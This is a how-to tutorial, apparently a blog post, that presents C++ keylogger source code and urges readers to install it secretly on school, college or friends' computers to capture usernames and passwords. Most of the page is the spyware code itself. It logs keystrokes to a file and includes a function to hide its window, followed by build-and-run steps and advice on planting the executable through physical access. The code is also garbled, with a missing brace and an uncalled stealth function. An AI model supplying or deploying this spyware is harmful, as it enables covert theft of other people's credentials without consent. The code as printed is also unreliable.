How to create a keylogger using C++ ?

Learn how to make a simple and powerful keylogger using C++ Programming.

C++ Keylogger
A key logger is a spyware program which can be used to get username and password of the victim. There is a trick to create a key logger using c++. We can install this spyware in our college, school or a friend's system and get usernames and passwords of the users. This trick is very simple as compared to phishing and there are many advantages of key logger over phishing.

Disadvantage of phishing is that we have to upload phishing webpage to web hosting. But only few website would not detect the phishing webpage and also the website URL is different which is easy to detect that we are hacking.
Advantage of key logger is that it is very simple easy method and also the victim can't detect that we are hacking him or her.to create key logger using c++ we need is c++ program and follow these simple steps :
C++ Keylogger

  • Open the c++ compiler.
  • Go to file  >>  new  >>  source file.
  • Copy and paste the following keylogger code into blank work space :
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);void Stealth();int main()
char i;while (1){for(i = 8; i <= 190; i++){if (GetAsyncKeyState(i) == -32767)Save (i,"LOG.txt");}}system ("PAUSE");return 0;}int Save (int key_stroke, char *file){if ( (key_stroke == 1) || (key_stroke == 2) )return 0;FILE *OUTPUT_FILE;OUTPUT_FILE = fopen(file, "a+");cout << key_stroke << endl;if (key_stroke == 8)fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)fprintf(OUTPUT_FILE, "%s", " ");else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");else if (key_stroke == VK_SHIFT)fprintf(OUTPUT_FILE, "%s", "[SHIFT]");else if (key_stroke == VK_CONTROL)fprintf(OUTPUT_FILE, "%s", "[CONTROL]");else if (key_stroke == VK_ESCAPE)fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");else if (key_stroke == VK_END)fprintf(OUTPUT_FILE, "%s", "[END]");else if (key_stroke == VK_HOME)fprintf(OUTPUT_FILE, "%s", "[HOME]");else if (key_stroke == VK_LEFT)fprintf(OUTPUT_FILE, "%s", "[LEFT]");else if (key_stroke == VK_UP)fprintf(OUTPUT_FILE, "%s", "[UP]");else if (key_stroke == VK_RIGHT)fprintf(OUTPUT_FILE, "%s", "[RIGHT]");else if (key_stroke == VK_DOWN)fprintf(OUTPUT_FILE, "%s", "[DOWN]");else if (key_stroke == 190 || key_stroke == 110)fprintf(OUTPUT_FILE, "%s", ".");else fprintf(OUTPUT_FILE, "%s", &key_stroke);fclose (OUTPUT_FILE);return 0;}void Stealth(){HWND Stealth;AllocConsole();Stealth = FindWindowA("ConsoleWindowClass", NULL);ShowWindow(Stealth,0);}
  • Now compile the code by pressing Ctrl + F9.
  • Now execute the program by selecting execute  >>  run or pressing Ctrl + F10.
  • Now the keylogger will run in the system. Whatever we type using keyboard would be stored in log.txt file in folder where we saved the file.
Now if someone have physical access to college or school system, then copy the .exe file in that system and run on it.

So it is a simple trick to create a keylogger using C++.

You may like these posts